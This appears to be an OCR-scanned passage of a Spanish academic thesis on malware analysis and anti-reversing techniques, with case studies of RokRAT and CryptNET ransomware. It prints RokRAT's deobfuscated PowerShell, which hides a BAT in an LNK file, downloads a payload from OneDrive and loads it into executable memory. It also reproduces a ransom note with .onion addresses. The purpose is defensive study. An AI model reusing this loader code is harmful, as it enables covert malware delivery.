de los usuarios como de los administradores del sistema.

El incremento en el uso de las aplicaciones en la nube estd haciendo que, de
idéntica forma, también esté en auge su utilizacidbn como vectores de ataque. Al
contratarlas hay que analizar quién es responsable de mantener actualizados los
sistemas, si el proveedor o el cliente. También se debe revisar qué aplicaciones de este

tipo se permiten en la empresa y regular su uso.

3.1.5 Software de redes y sistemas mal configurado, desactualizado o no

parcheado

Es decir, no se han seguido procedimientos adecuados en su configuracion y no
se han aplicado las actualizaciones o éstas no existen por estar ya el software fuera de
su vida Ufil. Un ejemplo de uso de esta via de enfrada por los ciberdelincuentes son los
ataques contra el router, como DNS hijacking o los ataques de DoS o Denegacion de

Servicio.

3.1.6 Credenciales de usuario comprometidas

Este vector de ataque tiene su origen en que o bien se ha producido una filtracion
de datos, o bien dichas credenciales han sido obtenidas por fuerza bruta o por ataques
de ingenieria social. Puede suceder también que se hayan obtenido mediante software
o hardware que registra las pulsaciones o keyloggers o aplicaciones que espian redes

wifi abierta o con configuraciones de cifrado obsoletas.
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3.1.7 Contrasenas y credenciales predecibles o por defecto

Aungue fdcilmente evitable, este vector de ataque tiene su origen en que no se
han cambiado, el fipico usuario/contrasena “admin/admin” que a veces viene por
defecto, o las que pone el fabricante y se pueden encontrar en la web. También puede
ocurrir que, aungue si se han cambiado, se ha hecho por ofras de uso comun o
faciimente predecibles por el entorno de usuario o incluso que estén “hardcodeadas”,

es decir, incluidas en la electronica de los dispositivos.

3.1.8 Insiders o personas con acceso que pueden filtrar informacion

Suelen ser empleados insatisfechos por causas laborales, o antiguos empleados
gue mantienen, por fallos de procedimiento en la tramitacién de las bajas de personal,

sus credenciales de acceso activas a pesar de haber abandonado la empresa.

3.1.9 Carencias del cifrado

Este vector puede ser el origen de una fuga de informacién bastante importante
debido a que no se han aplicado correctamente las politicas al respecto, como puede

ser el no cifrar documentos en la nube.

3.1.10 Debilidades de la cadena de suministro

Si los sistemas de nuestros proveedores tecnoldgicos o empresas colaboradoras
sufrieran un incidente, nuestros datos podrdn verse comprometidos. Por lo que es muy
importante que se tenga revisadas las cldusulas de seguridad de los acuerdos a nivel de

servicio, especialmente en el caso de nuestros proveedores de servicios en la nube.
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3.2 Procesos de ingenieria inversa en ciberdefensa

En el campo de la ciberseguridad, las personas que se dedican al andlisis de
software malicioso deben hacer uso de la ingenieria inversa con el fin de poder hacer
frente e identificar los nuevos tipos de malware. Pero estd claro que, por la parte
contraria, los ciberdelincuentes también invierten mucho trabajo y esfuerzo en crear
nuevas técnicas para conseguir sus objetivos y evitar que sus nuevos desarrollos sean

detectados.

La aplicacion de la ingenieria inversa sobre un fichero sospechoso se puede

realizar mediante dos aproximaciones al andlisis del malware [13]:

* Andlisis estatico
e Andlisis dindmico
Aunque generalmente el andlisis dindmico se hace a posteriori del andilisis
estatico, hay trabajos que indican que es mejor anteponer el andlisis dindmico al
estatico [14]. La razén para realizarlo de esta forma es que en general el malware utiliza
técnicas de ofuscacién u ocultacién del cédigo por lo que para analizar un mejor
andlisis estatico es conveniente tener un cdédigo limpio. En el presente trabajo se ha

determinado un procedimiento similar.

3.2.1 Andlisis estatico

Consiste en examinar el fichero malicioso sin necesidad de llegar a ejecutarlo. Se
realizarian diversas acciones para detectar una posible infeccion o modificacion ya
conocida. Para ello se utilizarian antivirus u otfras aplicaciones con la intencidon de
conocer el cédigo fuente y ver si se han utilizado técnicas para impedir dicho andlisis
como pueden ser la ofuscacion, empaquetado o compresion. Asi mismo, se estudiaria
si existen librerias que se han importado. Herramientas Utiles para lo anterior y que
abordaremos en apartados posteriores, pueden ser el servicio de VirusTotal o las reglas

Yara.
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En una fase de andlisis estatico mds avanzado debemos analizar las instrucciones
del programa malicioso, ufilizando herramientas de desensamblado, lo que nos

permitird comprender mejor el funcionamiento del cédigo malware.

3.2.2 Analisis dindmico

En esta otra fase, se llega a ejecutar el fichero, pero en un entorno seguro que
mediante herramientas de depuracion de coédigo monitorizan el comportamiento de la
muestra analizada, y comprueban si se produce una infeccién del sistema, analizando
la actividad (creacién, eliminacion, acceso o modificacion) tanto del sistema de
ficheros, como del sistema de registro, o sobre la red, en este caso para comprobar si

existen conexiones remotas, o que librerias se han cargado.

3.3 Técnicas anti-reversing

Para evitar que podamos hacer uso de la ingenieria inversas, los creadores de
malware recurren a diversos tipos de estrategias como pueden ser: técnicas
antivirtualizacion o anti-vm, técnicas antidepuracion o anti-debugging, técnicas

anfidesensamblado o técnicas de ofuscacion.

A continuacion, se explicard con mds detalle, algunas de las técnicas que se
utilizan para dificultar la aplicacién de la ingenieria inversa y evitar la deteccién de
ficheros ejecutables como maliciosos. Si logramos conocer las medidas implementadas
por parte del atacante podremos aplicar la ingenieria inversa para ir en sentido
contrario y conocer mds acerca del funcionamiento y de las acciones que realiza el

malware.

3.3.1 Técnicas antivirtualizacién (anti-vm)

Como se ha indicado anteriormente en la etapa de andlisis dindmico, los
analistas dedicados a seguridad informdtica van a trabajar en entornos seguros que
generalmente estardn basados en el uso de mdaquinas virtuales, por la posibilidad que

ofrecen de volver a un estado “limpio” una vez realizado los andlisis dindmicos sobre la
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muestra malware. El problema estd en que en la utilizacién de mdquinas virtuales es
normal que se generen procesos o registros que se asocian a la utilizacién de maquinas
virtuales. Estos indicios son los primeros que buscan los creadores de malware en sus
desarrollos, para asi poder aplicar medidas que impidan la realizacion de dichos andilisis
mediante ingenieria inversa. Asi, por ejemplo, si el malware detecta que la ejecucion se
estd llevando a cabo sobre una maquina virtual, lo que haria es no ejecutar ninguna

accion que pudiera delatar su presencia.

Las técnicas antivirtualizacidn mdas comunes, y sus correspondientes soluciones,

serian [15]:

» Consulta a la CPU: Se fundamenta en reconocer si estd en ejecucion un
hypervisor (monitores de mdaquinas virtuales (VMM), lo cual se hace mediante una
consulta a CPUID, es una instruccion en la arquitectura de la CPU que proporciona los
procesos de solicitud de informacion complementaria del procesador. El resultado que
se obtiene se compara con valores conocidos y que indican que la ejecucion se estd
levando a cabo dentro de una mdquina virtual. Esta deteccidon se puede evitar

cambiando los pardmetros de configuraciéon de cada mdquina virtual utilizada.

e Consulta de direcciones MAC: Se basa en que son conocidas las direcciones
MAC que se usan en las tarjetas de red virtuales. Ademdas, las direcciones ufilizadas
pueden ser faciimente conocidas mediante la utilizacién del comando tipo wmic nic list.
Esta técnica se puede soslayar no utilizando una NIC distribuida por VM o asignando una

direccion MAC manualmente en la configuracion del adaptador.

* BUsqueda de procesos: La consulta de los procesos que se encuentran en
ejecucion y su comparacién con los nombres de procesos que son caracteristicos de un
entorno virtual. Una medida para contrarrestarlo seria evitar la ejecucién de procesos

asociados a maquinas virtuales.

e BUsqueda de claves de registro: Consiste en la bUsqueda de determinadas
claves del registro de Windows que nos indican si estamos en un entorno virtual. La
modificacion manual de registro, previo al andlisis, de forma que dichas claves queden
modificadas para que queden oculta a su buUsqueda, seria una forma eficaz de eludir

esta técnica.
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* Busqueda de ficheros: De forma similar a la técnica anterior, hay ficheros que
indican la existencia de un entorno virtual. Una forma de evitar lo anterior seria la

ocultaciéon de dichos archivos.

3.3.2 Técnicas anti- debugging (anti-depuracién)

Las aplicaciones para depuracion de programas son utilizadas tanto los
desarrolladores de software, que los usan para identificar y corregir errores de
programacioén, como por los ciberdelincuentes que la emplean para, usdndolas como
una herramienta de ingenieria inversa, buscar vulnerabilidades en el cddigo de una

aplicacién legal y que le permita realizar modificaciones.

Las técnicas antidepuracion se basarian, por tanto, en detectar si el malware se
estd ejecutando sobre un depurador, para que, en caso afirmativo, alterar su ejecucion

normal y finalizar su funcionamiento.

Asi, la utilizacion de llamadas a la APl de Microsoft Windows es la técnica mas
facil de detectar para un desarrollador de malware. Para ello, le bastaria con ejecutar
la funcidon IsDebuggerPresent o CheckRemoteDebuggerPresent, ambas de la libreria
Kernel32.dll.

También, se podria saber si se estd utilizando una aplicacidén de depuracion
mediante la consulta de determinadas banderas o flags, por ejemplo, BeingDebugged
[13]. La estructura PEB (Process Environment Block) contienen informacién mantenida
por el sistema operativo del proceso en ejecucion, y en ella se puede consultar

informacién que no alerta sobre si hay un proceso de depuracién en curso [16] [17].

En este caso, el analista debe comprobar si existe en el cdédigo analizado, acceso
a determinadas direcciones de memoria y/o instrucciones relacionadas con el PEB. Si
fuera asi, se podria afirmar que hay algun tipo de malware en el cédigo estudiado que

estd utilizando este tipo de técnicas para evitar ser detectado.
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3.3.3 Técnicas de ofuscacion y empaquetado

Las técnicas de ofuscacion estdn orientadas a ocultar la ejecucion del cédigo
[13]. El empaqguetado seria una técnica incluida dentro de la ofuscacién en la que se
comprime el coédigo para hacer mdas complejo su andlisis. En ambos casos, lo que se
pretende es hacer mads dificil la aplicacion de ingenieria inversa para generar el cédigo

fuente de origen.
Las principales técnicas de ofuscacion empleadas serian [18]:

* Técnicas de ofuscacion del diseno: Bdsicamente consisten en la unidn o divisidon

de clases y tipos oculfos, todo ello para oscurecer el objetivo final de un programa.

e Técnicas de ofuscacion de datos: Se basan en aplicar numerosas
transformaciones a distintas partes del cédigo de un programa como son las variables,

constantes o funciones. Un ejemplo seria la agregacién/separacion de variables.

» Técnicas de ofuscacion de flujo de confrol: Se funcionamiento estaria basado
en alterar el flujo de ejecucidon de un programa, mediante una serie de cambios entre
los que se puede citar la inserciéon de cddigo muerto (que no aporta funcionalidad) o la

sustituciéon de saltos condicionales por bloques de cédigo.

e Técnicas de ofuscacion de instrucciones: Se haria sustituyendo unas

instrucciones por ofras de funcionamiento similar, pero de una mayor complejidad.

» Técnicas de ofuscacion de layout: Consiste en alterar la estructura Iéxica del

software de forma que el codigo queda confuso, por ejemplo, renombrando variables.

e Técnicas de ofuscacidon con virtualizacion de cédigo: Es una técnica en que,
mediante la utilizacidon de mdquinas virtuales, se reemplazan instrucciones del programa
convencionales por instrucciones virtuales poco conocidas. Ya en tiempo de ejecucion,
estas instrucciones virtuales son traducidas a cédigo de la mdaquina nativa y ejecutadas

en la mdqguina real.
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3.4 Herramientas para contrarrestar el anti-reversing

El uso de las técnicas anteriores, especialmente se utilizan de forma conjunta,
puede dificultar enormemente la labor de un analista de malware. Las formas
tradicionales de detectar un malware dejan de ser efectivas contra estas nuevas

técnicas.

Hemos de tener en cuenta que la deteccidn de ficheros contaminados se ha

basado fundamentalmente en las siguientes técnicas:

* Firmas: Realiza una comparacion entre el hash de un fichero sospechoso vy los
registros que aparecen en una base de datos con firmas de malware ya identificadas

anteriormente.

e Heuristica: Funciona observando las acciones que readliza un programa
sospechoso durante su ejecucion, e identificando acciones que son tipicas de un fichero

malicioso.

 Sfring Signatures: Se basa en la busqueda de cadenas (sfrings) que se han

descrito como patrones que aparecen en determinados malware.

Pero estas técnicas de deteccidon de malware no siempre son efectivas pues ya
que aplicando técnicas antiandlisis es posible ocultar en muchos casos el

comportamiento maligno de un programa.

Con lo que llegamos a que, en este bucle de ataque y contraataque, al igual
gue un desarrollador de malware dispone de multiples herramientas disponibles para
generar un coédigo maligno y ocultarlo, los analistas de seguridad tienen a su alcance
aplicaciones y utilidades para confrarrestarlo. Solamente como ejemplo, y haciendo
después una breve descripcion de ellas, podemos citar el servicio web que ofrece

VirusTotal y las reglas YARA.
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3.4.1 Reglas YARA

Las reglas YARA [19] [20] son una herramienta de cddigo abierto que fue
desarrollada por la plataforma VirusTotal con el fin de ayudar a los investigadores de
malware a identificar los elementos de un malware por medio de un andlisis estdtico
automatizado. De este modo, se puede detectar un programa malicioso sin necesidad

de ejecutarlo en una sandbox o de realizar un andlisis estatico manual.

Las reglas YARA malware funcionan por medio de scripts que tienen una

estructura de dos partes obligatorias y una opcional. Las partes de la estructura de las

reglas YARA son:
. Metadatos (‘meta’). Esta parte es opcional.
. Cadenas (‘strings’).
. Condiciones (‘condition’).

La siguiente imagen (Figura 16) es un ejemplo de regla YARA [21]:

rule silent_banker : banker

meta:
description = "This is just an example”
threat_level = 3
in_the_wild = true

strings:
$a = {6A 40 63 90 39 @2 @0 &A 14 8D 91}
$b = {8D 4D B@ 2B C1 83 (@ 27 99 64 4E 59 F7 F9}
$c = "UVODFRYSIHLMWPEIXQZAKCBGMT™

condition:

%a or %b or %c

Figura 16. Ejemplo de reglas YARA

Su funcionamiento se basa en buscar unas determinadas cadenas (sfring
signatures), en el cddigo de los ficheros sospechoso, de forma que si se cumple alguna
de las condiciones indicadas en una regla seria una indicacién de que es un malware
[22].

Es interesante que existen sitios web donde se publican nuevas reglas segun van

apareciendo [23], aungue evidentemente esto tiene como inconveniente el que la
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publicacién de dichas reglas puede ayudar a que los creadores de malware puedan
modificar sus creaciones para evitar que sean descubiertas, lo que ha llevado a que, en

ocasiones, los analistas de malware oculten los nuevos patrones que descubren.

Las reglas Yara proporcionan una base de datos con diferentes reglas

clasificadas segun el tipo de amenaza:

* Antfi-debug / Anti-VM: Detecta la presencia de malware que usen técnicas

antfidepuracion y anti-virtualizacion.

* Capabilities: Reglas que no encajan en las otras categorias y aunque son Utiles

para el andlisis, pueden no ser indicadores de comportamientos maliciosos por si solas.
 Crypto: Detectan la presencia de algoritmos criptograficos.

* CVE Rules: Identifica vulnerabilidades comunes (CVEs, Common Vulnerabilities

and Exposures).
» Deprecated: serian reglas que ya estdn obsoletas.
* Email: Identifican correos electronicos maliciosos.
* Exploit kits: Orientadas a la deteccion de la existencia de Exploit Kits

* Malicious Documents: Identifica documentos creados para aprovechar cédigo

malicioso.
* Malware: Identifica software malicioso conocido.
* Mobile Malware: Identifican malware para moéviles muy conocido.

e Packers: Detectan conocidos empaquetadores de software utilizados por el

malware para ocultarse.

* WebShells: Identifican webshells conocidas.

3.4.2 VirusTotal

Es un portal que permite consultar si un fichero, dominio, IP o URL cumple alguna
de las condiciones para ser identificado como malware. Dicha informacion queda

publicada para que pueda ser consultada liboremente. Utiliza mds de 70 motores y anti-
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malware diferentes para escanear el archivo y proporciona un informe detallado sobre

cualquier amenaza detectada (Figura 17) [24].

Una vez realizado el examen, este servicio ofrece gran cantidad de informacion

(Figura 18): calcula hashes, clasifica el tipo de fichero, examina dominios y direcciones

IP contactadas, ficheros empaquetados...

54 (T) 54 security vendors and 2 sandboxes flagged this file as malicious
1o 2637320ed43e99835caa1b8512963ebbl153f16cbe395/259bd2200d1471T75

encryplexe

-] peexe

Community Score

assembly  runlime-modules  detectdebug-environment  long-sieeps  direct-epu-clock-access  calls-wmi

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 11

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks

Popular threat label (1) trojan msil/encoder Threat categories trojan  ransomwars

Security vendors' analysis (D

Acronis (Static ML) (D Ssuspicious AhnLab-V3
Alibaba (D Ransom:MSIL/Encoder bddde5ae AlYac
Antiy-AVL (D) Trojan[Ransom|/MSIL Encader Arcabit

Avast () Win32RansomX-gen [Ransom] AVG

BitDsfender (D Gen:Variant Lazy 351543 BitDefenderTheta

Figura 17. VirusTotal

Basic properties ©

MD5 7332808bc1be9d56026fd39b6e587ced
SHA-1 323c2dedb7a1104a66311420b3dfa98f693058a0

SHA-256 22373202d43299835¢aa 1b8512963ebbf153f16cbe395f259bd2200d14¢7b775
Vhash 215036651513409a290020
024287a9c3a3277787 6f54a9722f3a12806a1b8fc1ad
Imphash f34d5f2d457TedBd9ceacs 16c1f5aTdd
SSDEEP 1536./4dIpXSRbWH 3LZiF6/5ZD4J14NZJEKX42bWPHyBdsBhsC 1kvJo3HKI-UHDa13AsRZKATY0vbMHy gsBmOkRoXA
TLSH T1E0C3190675C2823BC5E5ABT8C 10350144367 DT9EA27 3E0E398B22C55C42TFABEITACT
File type Win32 EXE  cxecutable windows win32 pe  peexe
Magic PE32 executable (GUI) Intel 80386 Monol.Net assembly, for MS Windows
TiD Generic CIL Executable { NET, Mono, etc ) (60.4%)  Windows screen saver (10.8%)  Win64 Executable (generic) (8.7%)

(generic) (4.1%)

DetectltEasy ~ PE32  Library: NET (v4.0.30319)  Library: NET (v4.0.30313)  Linker: Microsoft Linker

File size 119.50 KB (122368 bytes)
PEID packer NET executable
History ©

2081-02-09 06:41:00 UTC
2023-04-13 21:32:35 UTC
2023-04-13 21:32:35 UTC
2023-08-09 05:11:59 UTC

Creation Time
First Submission
Last Submission
Last Analysis
Names ©

encrypt.exe
1680679592404 exe

Figura 18. VirusTotal
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Capitulo 4 - Andlisis de Malware

Como se ha descrito anteriormente, hay multiples formas de infectar un sistema
con un codigo maligno. A continuacion, se describird brevemente y con informacion

externa parte del funcionamiento de un malware encontrado llamado RokRAT.

Tras esto, se llevard a cabo un andlisis exhaustivo de otro malware, en este caso
de un ransomware que recibe el nombre de Cryptnet y que servird como fase principal

de la experimentacion para poner en prdctica y entrenar los conocimientos adquiridos.

4.1 Ejemplo del andlisis sobre el malware RokRAT por Check Point Research

Para poder entender mds este proceso, se va a analizar RokRAT, un malware, que
se cree que fue creado por el grupo APT37 (famoso grupo de hackers norcoreanos) y
que desde el portal Check Point, desde donde se ha obtenido gran parte de la siguiente

informacion, llevan mucho tiempo siguiendo la pista.

4.1.1 Historia de RokRAT

En este caso la implementacion de RokRAT se realiza mediante ficheros LNK que
inician una cadena de infeccidn en varias etapas. Esta muestra se descubrid por primera

vez en julio de 2022 aunque los primeros ROkRAT se reportaron en 2017.

Aunque originalmente solo estaba disponible para Windows, en los Ultimos anos
se han encontrado tambien muestras para macOS (Ademds de las existentes en Android

que han sido actualizadas posteriormente).

En las versiones actuales de RokRAT, y tras las medidas que tomd Microsoft para
evitar el uso malintencionado de macros en sus aplicaciones ofimdaticas, la actuacion
de RokRAT se basa en la mayoria de los casos, en utilizar un archivo LNK que inicia la
infeccion. Para ello, ejecuta PowerShell a la vez que abre un documento que sirve de
senuelo. Esta técnica conocida como EmbedExelnk se consigue mediante la creacion

de un archivo LNK con un EXE anexado al final. El archivo LNK ejecuta unos comandos
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en Powershell para conseguir leer el contenido del EXE que estd situado al final del LNK,

lo copia en un archivo de la carpeta %TEMP% vy lo ejecuta.

4.1.2 “Proyectos en Libia”

En febrero de 2023 los investigadores de Check Point se encuentran con una
muestra de ROKRAT en un archivo zip llamado “projects in Libya.zip” el cual dispone de
varios documentos robados. De los cuatro archivos, tres de ellos eran archivos benignos,
“MFZ Executive Summary Korea.pdf”, “Proposed MOU GTE Korea.docx” y “Proposed
MOU GTE Korea.pdf". Pero el cuarto era un archivo LNK sospechosamente grande, de
42,5 MB, disfrazado de PDF llamado “Pipelines Profile (Elfeel- Sharara-Mellitah + Wafa -
Mellitah).pdf”. Mientras que los documentos benignos mostraban un proyecto de una
compania petrolera libia y una consultora coreana, el LNK malicioso albria un PDF de un
oleoducto realizado por Enppi, un contratista especializado en proyectos en las

industrias del petréleo y el gas (Figura 19).

3027:200. PT.J, ShararaMeltitan P

24012005

Enppi
Sharara/Mellitah Pipeline Profile

Elevation (m)

Length (Km)

AHackhwed—1

Figura 19. Documento PDF Pipelines Profile
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Receives encoded loader and
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opens
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powershell.exe
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C&C -
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and Yandex

Cloud

Figura 20. Cadena de infeccidn en Project in Libya

El proceso de infeccion se iniciaria con la descarga del ZIP “Projects in Libya.zip”
que al ejecutar el archivo malicioso LNK abriria simultdneamente tanto un PDF que trata
sobre el oleoducto como un PowerShell que ejecutaria un archivo BAT, el que se
encargaria de ejecutar otra PowerShell para descargar un loader cifrado y un payload
de ROKRAT (Figura 20).

A contfinuacion, se va a analizar con mdas detalle fodo el proceso, desde el fichero

zip hasta el PowerShell.

4.1.3 Descomprimiendo el ZIP

El ataque empieza con un archivo ZIP que contiene archivos PDFy DOCX ademds
de un acceso directo (LNK) camuflado como “Pipelines profile” que resultaria muy
interesante para trabajadores del gobierno. Al pulsar sobre él, parece que el archivo

contiene planos sobre un oleoducto, pero es en realidad el inicio de la infeccion.
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4.1.4 Analizando los archivos LNK y BAT

Al comprobar el peso del archivo se ve que es excepcionalmente grande lo que
hace pensar que hay informacién oculta que interesa extraer. Para ello se utilizard el
arficulo de Syed Hasan sobre andlisis de archivos LNK [25], lo que permitird analizarlo mds

facilmente.

Haciendo uso de la herramienta LECmd sobre nuestro archivo nos revela entre
otras cosas que estd activa la flag de Windows SwShowminnoactive (Figura 21) que
hace que no se muestre ninguna ventana al ejecutarse, lo que permitird llevar acciones

en segundo plano sin que la victima se percate.

A cmder

--- Header ---
Target created:
Target modified:
Target accessed:

File size:

Flags: HasRelativePath, HasArguments, HasIconlLocation, IsUnicode, HasExpString, PreferEnvironmentPath
File attributes: ©

Icon index:

Show window: (Display the window as minimized without activating it.)

Relative Path: ..\..\..\..\..\Windows\SysWOW64\cmd.exe
Arguments:

Figura 21. Andlisis realizado por LECmd sobre el archivo LNK

También se pueden ver los argumentos que se usan al apuntar a cmd.exe (Figura
22):

Relative Path:
Arguments:

/c powershell -windowstyle hidden $dirPat]
h = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = '%temp%'}; $lnkpath = Get-ChildItem -Path $d

irPath -Recurse *.1lnk ~| where-object {$_.length -eq ©0x0002A8F60E} ~| Select-Object -ExpandProperty FullName; $pdfFile = gc $lnkpath -Encodi
g Byte -TotalCount 03568692 -ReadCount 03568692; $pdfPath = '%temp%\230130.pdf'; sc $pdfPath ([byte[]]($pdfFile ~| select -Skip ©03388)) -Enc|
oding Byte; ~& $pdfPath; $exeFile = gc $1lnkpath -Encoding Byte -TotalConnt 03571940 -ReadCount ©3571940; $exePath = '%temp%\230130.bat'; sc $
exePath ([byte[]]($exeFi1e A| select -Skip 03568692)) -Encoding Byte; & $exePath;

Figura 22. Andlisis realizado por LECmd sobre el archivo LNK
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Podemos mejorar la legibilidad del cédigo con Cyberchef, una pdgina web con
multiples funcionalidades, en este caso usaremos la herramienta beautify para que

automdticamente nos solucione este problema (Figura 23).

Download CyberChef i Last build: A month ago - Version 10 is here! Read about the new features here

Output

powershell fﬂwindowstyld hidden $dirPath = Get - Location;

if ($dirPath - Match 'System32' - or $dirPath - Match 'Program Files') {
$dirPath = '%temp%'

IH

$lnkpath = Get - ChildItem - Path $dirPath - Recurse * .lnk ~| where - object {
$_.length - eq ©x@PO2ABFEOE

}

~| Select - Object - ExpandProperty FullName;

$pdfFile = gc $lnkpath - Encoding Byte - TotalCount @3568692 - ReadCount ©3568692;
$pdfPath = '%temp%\230130.pdf";

sc $pdfPath ([byte[]]($pdfFile ~| select - Skip ©03388)) - Encoding Byte;

& $pdfPath;

$exeFile = gc $lnkpath - Encoding Byte - TotalCount 83571940 - ReadCount ©3571948;
$exePath = '%temp%\230130.bat"';

sc $exePath ([byte[]]($exeFile ~| select - Skip ©3568692)) - Encoding Byte;

& $exePath;

Icon Location: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Figura 23. Output de Cyberchef Beautify del cédigo extraido del LNK

En la primera linea inicia Powershell con la ventana oculta y establece la ruta del
directorio. Tras esto comprueba si el directorio es System32 o Program Files y en caso de
ser asi establece la ruta a %temp%. Posteriormente se llama a los archivos PDF y BAT,
para que mientras que la victima ve el archivo PDF, se ejecuta el archivo BAT en segundo

plano.
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Download CyberChef i Last build: A month ago - Version 10 is here! Read about the new features here

Output

[Net.ServicePointManager]::SecurityProtocel = [Enum]::ToObject([Net.SecurityProtocolType], 3072);
$aa = '[D1lImport(“kernel32.d11")]public "static extern IntPtr GlobalAlloc(uint b,uint c);';

$b = Add - Type - MemberDefinition $aa - Name "AAA" - PassThru;
$abab = '[DllImport(“"kernel32.d11")]pub lic static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);';
$aab = Add - Type - MemberDefinition $abab - Name "AAB" - PassThru;

$c = New - Object System.Net.WebClient;

$d = "https://api.onedrive.com/v1.0/shares/u!aHROcHM6LY8xZHI2Lm1zL3UvcyFBdTIteTF4aDZOOFhnUjINem1z0G50UndvLTZ CP2U9akhIQzZ5/root/content™;

$bb = '[D1lImport(“kernel32.d11")]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uintc
e,IntPtr f);';

$ccc = Add - Type - MemberDefinition $bb - Name "BBB" - PassThru;
$ddd = '[D1llImport("kernel32.d11")]public static extern IntPtr WaitFor SingleObject(IntPtr a,uint b);';
$fff = Add - Type - MemberDefinition $ddd - Name "DDD" - PassThru;
$e = 112;
do {
try {
$c.Headers["user-agent”] = "co nnnecting...";

$xmpw4 = $c.DownloadData($d);
$x0 = $b::GlobalAlloc(0x0040, $xmpw4.Length + Ox100);
$old = 0;
$aab::VirtualProtect($x@, $xmpw4.Length + 0x100, 0x40, [ref]$old);
for ($h = 1;
$h - 1t $xmpw4.Length;
$h++) {
[System.Runtime.InteropServices.Marshal]::WriteByte($x0, $h - 1, ($xmpw4[$h]
- bxor $xmpw4[0]) );
15
try {
throw 1;
} catch {

Figura 24. Cédigo extraido en el BAT

En el archivo BAT se puede observar que fras importar kernel32.dll, que se encarga

de la administracién de memoria, tras lo cual invoca a VirtualProtect, permitiendo asi

llamar desde un cliente web al link de One Drive, lo que le permitird cargar la siguiente

parte del malware (Figura 24).
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4.2 Prueba de concepto: andlisis de CryptNET

El andlisis real se va a readlizar sobre una muestra conteniendo el malware
CryptNET Ransomware, escrito en .NET, y que segun la empresa de seguridad en la nube
Zscaler!o, estd protegido con .NET Reactor!!, la herramienta de ofuscacion desarrollada

por Eziriz.2

4.2.1 Informacion previa

Detectado por primera vez en abril de 2023, se puede encontrar una muestra

para su inspeccion en Unpacme's,

Ademds, es posible encontrar el reporte de Virus Total el cual a fecha actual lo

califica claramente como malicioso y estd marcado asi por 54 antivirus'4.

Adicionalmente este malware cuenta con una web en la que se publican las

empresas y los archivos afectados'> (Figura 25):

10 hitps://www.zscaler.com/
1 https://www.eziriz.com/dotnet_reactor.htm
12 https://www.eziriz.com/

13 hitps://www.unpac.me/results/fccb073a-009a-4048-b097-54b5ffff6639#/
14

https://www.virustotal.com/gui/file/2e37320ed43e99835caa1b851e963ebbf153f16cbe395f25%9bd
2200d14c7b775/detection

15 hitp://blogézwéb2uijolee7ebaggnqaszs3ckrbiphzdzsazgrpvigtiwagryid.onion/
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CRYPTNET LEAKED FILES

Export Hub [ _fl[ Urban Import
v

www.exporthub.com - www.urbanimport.com

ExportHub Ltd. is committed to safeguarding its Urban Import was established in 2001 by fellow

users' privacy. We request all our users to read automotive enthusiasts to provide customers with

the following 'privacy policy' to understand how an unrivaled selection of top quality aftermarket -
| their personal & business information will be automotive parts. After cementing our presence

treated, as they make full use of our services to as an eBay Power Seller, we launched our first |

their benefit. This policy is applicable only to the online retail site carrying some of the top

entire network of marketplaces operated by EH performance brands of the time. As the

and not b... aftermarket performance ind...

Show leaked files... Show leaked files...

Figura 25. Pagina web del malware

4.2.2 Infeccion

Para entender mejor el funcionamiento de un malware es importante hacer
ingenieria inversa con él, pero mds importante es que antes, como usuario, ver que hace

ese malware.

Haciendo uso de una mdquina virtual aislada, se ejecuta el archivo y un segundo
después ya son visibles los efectos. Probablemente al tratarse de una mdquina virtual
vacia, no ha requerido prdacticamente nada de tiempo. En el fondo de pantalla
aparece un aviso de lo sucedido (Figura 26), que indica abrir un txt localizado en el
escritorio. En el aparece una breve explicacién de lo que ha pasado y los pasos a seguir

para recuperar los datos (Figura 27).
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All your files are stolen and encrypted

Open RESTORE-FILES-QGzEba3gf.txt
and follow the instruction.

;| a Lo0-CB®wo®

Figura 26. Fondo de pantalla de mdaquina infectada

B RESTORE-FILES-QGzEba3gf X +
File Edit View
**% CRYPTMET RANSOMWARE ***

--- What happened? ---

All of your files are encrypted and stolen. Stolen data will be published soon

on our tor website. There is no way to recover your data and prevent data leakage without us
Decryption is not possible without private key. Don't waste your and our time to recover your files.

It is impossible without our help

- How to recover files & prevent leakage? ---
To make sure that we REALLY CAN recover your data - we offer FREE DECRYPTION for warranty.
We promise that you can recover all your files safely and prevent data leakage. We can do it!

- Contact Us---
Download Tor Browser - https://www.torproject.org/download/ and install it
Open website: http://cryptr3fmuvddiSuiczofjuypopré3x2gltlsvhur2umpdebru2xd3yd.onion
Enter DECRYPTION ID: d4lbxtiTxgpihlABbyA2F3IvULtnf29pd

Figura 27. Archivo txt con las explicaciones y las instrucciones a seguir

Desde el navegador Tor, se accede a la pdgina que requiere introducir la ID
proporcionada en el archivo TXT y resolver un Captcha (Figura 28). Una vez denftro los

atacantes informan del tiempo restante para recuperar los archivos y que es necesario

contactar con ellos (Figura 29).

Disponen de un chat para comunicarse con ellos (Figura 30), es importante
destacar que este elemento podria ser de especial relevancia a la hora de intentar

“"desanonimizar” a los creadores de la web.
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CryptNet RECOVERY -+

@ cryptr3muvadisuiczofuy 2gltlsvhurZump4ebi 3yd.onion,

CryptNet Recovery

Decryption ID

‘ Your decryption id

‘ Enter Captcha

Figura 28. Inicio de sesidn web para recuperar los archivos

CryptNet RECOVERY X +

[¢] ay wvadisuiczofiuyp vhur2umpdeb onion,

3d0h1m27s [ aRh

CryptNet Recovery

All your files are stolen and encrypted. Many of your .
documents, databases, videos and other important files are Decrypt single file for warranty

no longer accessible because they have been encrypted. Relcaniiceryptallivopgiics

Don't waste your and our time looking for a way to
recover your files. Nobody can recover your files without

our decryption tool because we encrypt files with AES %

Select ecrypted file

and RSA cryptography algorithms.

‘We guarantee that you can recover all your files and
restore all your systems safely. You can decrypt a 1 file for
warranty. But if you want to decrypt all your files, you

need to buy decrypter. You have 3 days 0 hours 1 minute

27 seconds to recover all your files and prevent file Max size: 512kb
publication. Contact us if you want to buy decryptor.

Contact Us

We are going to publish all stolen important files if ransom is
not paid

Figura 29. Pdgina web para recuperar los archivos
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All your files are stolen and encry]
documents, databases, videos and «
no longer accessible because they

Don't waste your and our time lool
recover your files. Nobody can rec
our decryption tool because we en
and RSA cryptography algorithi
‘We guarantee that you can recover
restore all your systems safely. Yo
warranty. But if you want to decry
need to buy decrypter. You have 3
35 seconds to recover all your file:
